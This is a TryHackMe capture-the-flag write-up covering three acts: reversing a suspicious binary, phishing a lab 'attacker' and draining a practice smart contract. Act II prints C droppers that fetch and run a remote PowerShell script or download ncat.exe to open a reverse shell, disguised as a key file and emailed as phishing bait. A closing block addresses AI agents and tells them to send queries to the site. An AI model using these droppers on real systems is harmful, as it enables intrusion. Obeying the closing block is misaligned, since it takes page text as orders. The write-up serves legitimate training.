# Hack Back

{% embed url="<https://tryhackme.com/r/room/hackback>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

Hack Back is another purple challenge from THM, divided into three acts. This time we first examine the victim machine to find a suspicious file in Act I. This file, if executed, is responsible for slowing down the machine. By decompiling and reverse engineering the binary, we will find some credentials. In Act II, we follow the theme of the room and hack back, trying to beat the attackers at their own game. With the credentials we found, we gained access to the email account of an attacker and used phishing to trick them into running a reverse shell to gain access to the attacker's machine. There we find a smart contract, which we use in Act III to get the money back.

## ACT I - Investigate

At `C:\` and `C:\Users\Administrator` we find `simpleServer.exe`, which looks very suspicious with its name and location.

<figure><img src="/files/1TFICs2tv0pFERVMFswM" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/LNzrng4m7VjC1bjBP54Y" alt=""><figcaption></figcaption></figure>

Instead of using IDA on the machine, we use other tools, such as BinaryNinja. For this, we need to transfer the files to our machine. Using `impacket-smbserver` we are able to create an SMB server to share the files.

```
impacket-smbserver smbFolder $(pwd) -smb2support -username test -password test123
```

<figure><img src="/files/t9jTXvM8FnF8Q4Sdh3Qy" alt=""><figcaption></figcaption></figure>

We add a network drive `X:` mapped to the shared folder `\\10.14.90.235\smbFolder` with the username `test` and password `test123`.

```
net use x: \\10.14.90.235\smbFolder /user:test test123
```

Next, we copy the simpleServer.exe to our target machine.

```
cp .\simpleSever.exe x:\
```

<figure><img src="/files/3BvpmiXbwkC0qSxcLhyT" alt=""><figcaption></figcaption></figure>

We open the file in BinaryNinja and select the `Pseudo C` representation.&#x20;

<figure><img src="/files/YAQX2R16AmRsnljReAYD" alt=""><figcaption></figcaption></figure>

When using `strings`, some suspicious character sequences appear, but none of them seems to be the password. We scroll through the functions and spot those strings again. They are passed to the `sub_140001640` function. The last one is nod passed to `sub_140001640`.<br>

<figure><img src="/files/81y7oNVZSrEPGUXFvxwr" alt=""><figcaption></figcaption></figure>

This function, `sub_140001640`, takes a string (arg1) and applies an XOR operation with the integer 5 to each character, effectively decoding or encoding it. The result is stored in arg2 and is null-terminated. As mentioned above, the last character string is not passed to this function, but might be also an encrypted string.

<figure><img src="/files/fxBo2Au2aKRZfb1tvGGB" alt=""><figcaption></figcaption></figure>

Here's a Python script to decode the given strings. The sequences found are redacted and need to be replaced with the real ones.

{% code title="pass.py" overflow="wrap" lineNumbers="true" %}

```python
def decode_xor(input_string, xor_key=5):
    # Decode each character by XORing with the given key
    decoded_chars = [chr(ord(char) ^ xor_key) for char in input_string]
    # Join characters to form the decoded string
    decoded_string = ''.join(decoded_chars)
    return decoded_string

# Example usage with given strings
encoded_str1 = "REDACTED"
encoded_str2 = "REDACTED"
encoded_str3 = "REDACTED"

decoded_str1 = decode_xor(encoded_str1)
decoded_str2 = decode_xor(encoded_str2)
decoded_str3 = decode_xor(encoded_str3)

print("Decoded String 1:", decoded_str1)
print("Decoded String 2:", decoded_str2)
print("Decoded String 3:", decoded_str3)

```

{% endcode %}

After running the script we find a possible credential set which allows us to answer the first two questions and head to the next task.

<figure><img src="/files/STOWpI3JOxDJjLbKA41a" alt=""><figcaption></figcaption></figure>

## ACT II - Hack Back: Phishing

We start with an nmap scan and find serveral ports related to a windows machine. Including a mail server (port 25, 110, 143) and a web server (port 80).

<figure><img src="/files/U4Ami9FrtrUfegnGuJrl" alt=""><figcaption></figcaption></figure>

From the decrypted strings of the binary we find not only some login credentials but also the possible host `berrybears.ioc`. We add this in the `/etc/hosts` file. When we visit the site, we are greeted with a ransom.

<figure><img src="/files/AdbVGB5xPsslw4UDEmv0" alt=""><figcaption></figcaption></figure>

Next, we try to find some directories and pages with a recursive scan using Feroxbuster.&#x20;

Of interest are `/mail` and `/rc`. Furthermore, `/mail/doc` was also promising at the beginning, as this probably revealed the mail server used, that was vulnerable to an rce. However, it turned out not to be exploitable.

<figure><img src="/files/WzHsxdv9QinsS5cBgwW3" alt=""><figcaption></figcaption></figure>

At `/mail` we are greeted with a login form. We use the credentials from Act I.

<figure><img src="/files/yCavZYhrQBtYpguWfwVu" alt=""><figcaption></figcaption></figure>

We can log in and see a mail from the boss of the threat actor in the inbox. The boss needs the key to get rid of the transactions that continue to pile up. Otherwise it becomes too risky. Unfortunately, we cannot find any answers to the question in the sent folder.

<figure><img src="/files/E01zq3wnezGCnHtfR9N3" alt=""><figcaption></figcaption></figure>

Ok, let's move on to `/rc` for now. And this time we have RoundCube in front of us. We reuse the credentials.

<figure><img src="/files/TRQm7UixVrfI1lPIAPoQ" alt=""><figcaption></figcaption></figure>

Here we find more this time. Amongst other things, we find the mail that may have been used to trick the target into opening a file to unintentionally execute it. A phishing mail.

<figure><img src="/files/6yAEpz2P3kj3gctTXmgX" alt=""><figcaption></figcaption></figure>

We find the email from the boss again and a reply from our attacker. The key is not sent via mail, instead via the usual channels. The boss doesn't seem to operate as securely as his employees.

<figure><img src="/files/jMSBCJg5RoZtNLCwO9Jx" alt=""><figcaption></figcaption></figure>

If we try to send a mail without an attachment to the boss, addressing the key, we get an answer. In this case he cannot find the key. So the boss is eager  to open the file we send.

<figure><img src="/files/3Tt729OlNk2aocxIGUUP" alt=""><figcaption></figcaption></figure>

Next, we try to disguise a reverse shell as a key and send it to the boss.

An attempt was made to convert a reverse shell created with powercat into an executable using <https://ps2exe.azurewebsites.net/>, but unfortunately without success. Also, `.bat` files or `.ps1` files were not executed. (tested with a request to a hosted web server)

But there is an easier way. Via an executable that runs Powershell commands itself and uses `ncat.exe`. In the first attempts it was a powercat script but that might have got deteced, since only the download from the web server could be observed.

One of many first attempts:&#x20;

{% code title="key.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle
    char *command = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/script.ps1' -OutFile 'C:\\Windows\\Temp\\script.ps1'; Start-Process 'powershell' -ArgumentList '-ExecutionPolicy Bypass -File C:\\Windows\\Temp\\script.ps1'\"";

    // Execute the command
    int result = system(command);
    return 0;
}

```

{% endcode %}

Compile the code:

```
x86_64-w64-mingw32-gcc key.c -o key.exe
```

<figure><img src="/files/R9dQbLtqxdPKorLxmvUx" alt=""><figcaption></figcaption></figure>

Send To Boss:

<figure><img src="/files/2kpZok681Z56ilXz0w0g" alt=""><figcaption></figcaption></figure>

The script gets downloaded but not executed since there is not connection back to the listener.

<figure><img src="/files/sqm3cQEw9tUfd6QXK6kl" alt=""><figcaption></figcaption></figure>

In this workaround, the `ncat.exe` file is downloaded and saved to `C:\Windows\Temp\ncat.exe`. The program then runs another command that uses `ncat.exe` to connect back to the our machine, creating a reverse shell.

{% code title="key.c" overflow="wrap" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    // PowerShell download cradle to download ncat.exe
    char *command1 = "powershell -Command \"Invoke-WebRequest -Uri 'http://10.14.90.235/ncat.exe' -OutFile 'C:\\Windows\\Temp\\ncat.exe'\"";

    // Execute the download command
    int result1 = system(command1);
    // Command to execute ncat.exe with cmd.exe on the specified IP and port
    char *command2 = "powershell -Command \"Start-Process 'C:\\Windows\\Temp\\ncat.exe' -ArgumentList '-e cmd.exe 10.14.90.235 4445'\"";

    // Execute the ncat command
    int result2 = system(command2);

    return 0;
}

```

{% endcode %}

Compile the code:

```
x86_64-w64-mingw32-gcc key.c -o key.exe
```

<figure><img src="/files/D6KKufT9CfeASZBRopvm" alt=""><figcaption></figcaption></figure>

Send To Boss:

<figure><img src="/files/uy7OfAwo6b43rYyqlpua" alt=""><figcaption></figcaption></figure>

The `ncat.exe` gets downloaded...

<figure><img src="/files/FSDoxFXrmgww3fm1buI7" alt=""><figcaption></figcaption></figure>

... and executed. We receive a reverse shell on our listener. We are `fisher\administrator`.

<figure><img src="/files/WI2MR00iTROjw5jBV9ui" alt=""><figcaption></figcaption></figure>

On the user's desktop we find the flag for Act II.

<figure><img src="/files/vyjwvPOdTYuCi5umNmh1" alt=""><figcaption></figcaption></figure>

We also find a smart contract. This smart contract suggests that we can solve the challenge by simply providing the cleartext authentication string. This is simply XORed with `44` and compared to the stored string. So if we XOR the stored string with `44`, we'll get the correct plaintext string.

<figure><img src="/files/69crlbabuLi3Yy354iDw" alt=""><figcaption></figcaption></figure>

The following python script was used to decode the stored string.

{% code title="" overflow="wrap" lineNumbers="true" %}

```python
def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)
```

{% endcode %}

<figure><img src="/files/HfcTmPqJqdNNvqUInV4l" alt=""><figcaption></figcaption></figure>

## ACT III - Hack Back: Smart Contract

We start the final machine and run a Nmap scan. We have three open ports 22 SSH, 80 a web server and port 8545 related to the smart contract challenge.

<figure><img src="/files/DfcHXZxLlfzI9w74eGO2" alt=""><figcaption></figcaption></figure>

If we visit the index page of the web server, we find a smart contract challenge. Slightly modified from the challenge we found in Act II. In addition to the authentication string, we now also have to set the balance of the contract address down to 0. We can achieve that by calling the transfer function on the contract providing the deciphered data and the correct amount.

```
http://10.10.1.229/
```

<figure><img src="/files/4HLBkjqnOTTpoKQdirSa" alt=""><figcaption></figcaption></figure>

### Foundry Attempt

This type of challenge is very familiar and has already been used in TriCipher Summit. We can find a solution using Foundry to this at Jaxafeds writeups. Here we can see how to call the functions.

{% embed url="<https://jaxafed.github.io/posts/tryhackme_tricipher_summit/#third-flag>" %}

To install Foundry follow the instructions linked below:

{% embed url="<https://book.getfoundry.sh/getting-started/installation>" %}

<figure><img src="/files/zmi7FAsG1o9M9wyKmlm9" alt=""><figcaption></figcaption></figure>

In this case we need to call the `transfer` function, pass a string and the amount.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key <PRIVATE KEY> --chain-id 31337 <CONTRACT ADDRESS> "transfer(string,uint256)" "REDACTED" 1000

```

{% endcode %}

The `--legacy` flag is essential in this scenario because it specifies that the transaction should follow the legacy transaction format (pre-EIP-1559). EIP-1559 introduced a new transaction format with separate `maxFeePerGas` and `maxPriorityFeePerGas` fields, which are not supported by nodes or configurations set up for legacy transactions, like the one you're interacting with on chain ID `31337`. Without `--legacy`, the default behavior attempt an EIP-1559 transaction, causing the "unsupported feature: eip1559" error.

To decipher the key we just need to XOR the encrypted key with 44 found in the challenge.

{% code title="decipher-sol-key.py" overflow="wrap" lineNumbers="true" %}

```python
def reverse_xor(encoded, key):
    return ''.join(chr(ord(c) ^ key) for c in encoded)

encoded = "REDACTED"
key = 44
decoded = reverse_xor(encoded, key)
print("Decoded input to solve:", decoded)
```

{% endcode %}

We gather the information needed to make all calls to the contract.

```
Private Key: 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c
```

```
Contract Address: 0x80A89a41DF07B3A65913D67407fB00281bda7Da0
```

```
Player Wallet Address: 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131
```

Next, we use Foundry to make a transaction.

The command sends a transaction on the Ethereum network, invoking the `transfer` function on the contract at address `0x80A89a41DF07B3A65913D67407fB00281bda7Da0` with parameters `"REDACTED"` and `1000` using the specified private key on a custom RPC URL and chain ID `31337`.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000
```

{% endcode %}

<figure><img src="/files/zRrPljyovXtaOBYHpflC" alt=""><figcaption></figcaption></figure>

After we have submitted the command we can retrieve the flag on the index page.

<figure><img src="/files/FNysdE812dxYtU8kwPbJ" alt=""><figcaption></figcaption></figure>

To verfiy that we have successfully transferred the money, we can call the `getOwnerBalance()` function to check the balance of the target, and the `balanceOf()` function to check the balance of the player's wallet. To do this we use the following calls:

With the following calls using Foundry we can call the functions to check the balances:

{% code overflow="wrap" %}

```
cast call --legacy <CONTRACT ADDRESS> 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy <CONTRACT ADDRESS> 'balanceOf(address)' <PLAYER WALLET> --rpc-url http://geth:8545
```

{% endcode %}

#### Before Transaction:

We check the balance before the transaction and see that the target has a balance of `0x3e8`, which is `1000`. The player's wallet is empty.

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545
```

{% endcode %}

<figure><img src="/files/uHvop4QnIbsin4bbMbfg" alt=""><figcaption></figcaption></figure>

#### Transaction

We make the transaction as described above.

{% code overflow="wrap" %}

```
cast send --legacy --rpc-url http://geth:8545 --private-key 0x3a3267b8e226c4e665cb5bbe188d7fa972f3dd9e3f46caa986fd831c5390529c  --chain-id 31337 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 "transfer(string,uint256)" "REDACTED" 1000
```

{% endcode %}

<figure><img src="/files/dMOKX0nIrudC9bS8ENRq" alt=""><figcaption></figcaption></figure>

#### After Transaction:

After the transaction, we can confirm that it worked properly. The target's balance has dropped to `0` and the player's wallet now has a balance of `1000`.

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'getOwnerBalance()' --rpc-url http://geth:8545
```

{% endcode %}

{% code overflow="wrap" %}

```
cast call --legacy 0x80A89a41DF07B3A65913D67407fB00281bda7Da0 'balanceOf(address)' 0x61b782f0b0e094409dc2DaA8Fc5226223ad5b131 --rpc-url http://geth:8545
```

{% endcode %}

<figure><img src="/files/n3z2sn8B7dVudqLVxHXF" alt=""><figcaption></figcaption></figure>

### Faulty? Initial Attempt (WEB3)

{% hint style="info" %}
The following attempt is error prone, as it worked the first time, but when confirmed a second time for the writeup, it does not work properly. It does not fully transfer the 1 ETH to the player's address and only reduces the wallet amount of the target by the transaction costs. Setting the gas value to 2000000 in the script will solve the challenge.
{% endhint %}

{% hint style="info" %}
After confirming it a third time, the script might have worked properly. For those interested, I have left this solution in the writeup.
{% endhint %}

<figure><img src="/files/33ZfKsIoO1GCRHqJPxTa" alt=""><figcaption></figcaption></figure>

Alternatively, the challenge can also be solved using web3 in python. All necessary information such as wallet address, private key, contract address, RPC URL, chain ID and block time can be found on the index page.

* **Wallet Address**: A unique identifier for a digital wallet, used to send and receive cryptocurrency on the blockchain.
* **Private Key**: A secret key allowing the wallet owner to authorize transactions and access funds; must be kept confidential to prevent unauthorized access.
* **Contract Address**: The unique address assigned to a deployed smart contract on the blockchain, used for interacting with its functions.
* **RPC URL**: A Remote Procedure Call (RPC) URL provides a connection endpoint to a blockchain node, allowing communication with the blockchain network.
* **Chain ID**: A unique identifier for a specific blockchain network (e.g., Ethereum mainnet, testnet) to prevent transaction cross-chain issues.
* **Block**: A data structure that stores a group of validated transactions on the blockchain, linked sequentially to form the blockchain ledger.

To solve the challenge GPT was used to create a script but failed initially with a wrong `gas` value. In a smart contract, gas is the unit of computational cost required to execute operations on the Ethereum blockchain, paid by users to incentivize network validators and to prevent misuse of resources.

It was to high, so the amount was not porperly withdrawn, after setting it to low the following error was thrown and gave the amount needed 21756 which was then used in the final script.

<figure><img src="/files/syHsJ3mMAB8nlrHOF2qN" alt=""><figcaption></figcaption></figure>

The target string is redacted and need to be replaced.

This code is designed to interact with a smart contract on an Ethereum-compatible blockchain using the Web3 library, aiming to complete a challenge by transferring tokens with specific encoded data. Here’s a step-by-step explanation:

1. **Setting up the Web3 Connection:**\
   The code connects to an Ethereum node at `http://geth:8545` using the Web3 HTTP provider. It also defines both the smart contract address and the player's wallet address, alongside the player’s private key, which will be used to sign transactions.
2. **Defining the Contract:**\
   The contract ABI (Application Binary Interface) specifies the available functions in the contract:
   * `decode`: This function XOR-decodes a string using a specified key (although it is not directly used here).
   * `transfer`: This function allows transferring a token or value with specified `data` (the encoded message) and an `amount`.
   * `isSolved`: This function checks if the challenge has been successfully completed.
3. **Encoding Data with XOR:**\
   The `xor_encode` function takes the target string `"REDACTED"` and encodes it with an XOR key of `44`. This encoded data will be passed as part of the transaction in the `transfer` function to meet the challenge requirements.
4. **Building the Transaction:**\
   To perform the transfer, the code calls the `transfer` function of the contract with the encoded data and sets the `transfer_amount` to 1000 tokens. It fetches a nonce (the transaction count for the player address) to ensure transaction uniqueness and builds the transaction with specific settings, including gas limits, chain ID (31337), and gas price. Setting the gas price to 21756  wont solve it, but setting it arround 2000000 will solve the challenge.
5. **Signing and Sending the Transaction:**\
   The code signs the transaction using the player's private key and then sends it to the blockchain. Afterward, it waits for the transaction to complete, retrieving a transaction receipt for verification.
6. **Checking if the Challenge is Solved:**\
   Finally, the code calls the `isSolved` function on the contract. If it returns `True`, it confirms that the challenge has been completed successfully.

In essence, this code attempts to solve a smart contract-based challenge by performing a transfer transaction with XOR-encoded data, then verifies if the solution was successful by checking the `isSolved` function on the contract. The transaction receipt provides details for tracking the transaction's success on the blockchain.

{% code title="solve.py" overflow="wrap" lineNumbers="true" %}

```python
from web3 import Web3
import codecs

# Set up Web3 connection
rpc_url = "http://geth:8545"
web3 = Web3(Web3.HTTPProvider(rpc_url))

# Contract and Player details
contract_address = Web3.to_checksum_address("0xc731Ce79Ee1ca7ab1D4084419000464301A4f8Be")
player_address = Web3.to_checksum_address("0x8f9aC6872B4e2663940EBbCd310458496ac45e06")

private_key = "0x7b005e85b4293a12d2e51d023e8b4341f5375a04572174423b7c67dc84e6a31a"

# Contract ABI
contract_abi = [
    {
        "inputs": [
            {"internalType": "bytes", "name": "data", "type": "bytes"},
            {"internalType": "uint8", "name": "key", "type": "uint8"},
        ],
        "name": "decode",
        "outputs": [{"internalType": "bytes", "name": "", "type": "bytes"}],
        "stateMutability": "pure",
        "type": "function",
    },
    {
        "inputs": [
            {"internalType": "string", "name": "data", "type": "string"},
            {"internalType": "uint256", "name": "amount", "type": "uint256"},
        ],
        "name": "transfer",
        "outputs": [{"internalType": "bool", "name": "out", "type": "bool"}],
        "stateMutability": "nonpayable",
        "type": "function",
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}],
        "stateMutability": "view",
        "type": "function",
    },
]

# Initialize contract instance
contract = web3.eth.contract(address=contract_address, abi=contract_abi)

# XOR Encoding function
def xor_encode(data, key):
    return bytes([b ^ key for b in data])

# Encoded data to pass the challenge
target_string = "REDACTED"
key = 44
encoded_data = xor_encode(target_string.encode(), key).decode('latin1')

# Set the transfer amount
transfer_amount = 1000

# Build the transaction
nonce = web3.eth.get_transaction_count(player_address)
tx = contract.functions.transfer(encoded_data, transfer_amount).build_transaction({
    'chainId': 31337,
    'gas': 21756,
    'gasPrice': web3.to_wei('20', 'gwei'),
    'nonce': nonce,
})

# Sign the transaction
signed_tx = web3.eth.account.sign_transaction(tx, private_key=private_key)

# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = web3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction receipt:", tx_receipt)

# Verify if challenge is solved
is_solved = contract.functions.isSolved().call()
print("Challenge Solved:", is_solved)

```

{% endcode %}

Afer running the script we get the responsed `Challenge Solved: True`.

<figure><img src="/files/27P7BdLDkPbtFiXiUvPe" alt=""><figcaption></figcaption></figure>

We can now click on `Get Flag` to receive the final flag.&#x20;

<figure><img src="/files/2N95VKTVffgjs4D3quAk" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/hack-back.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
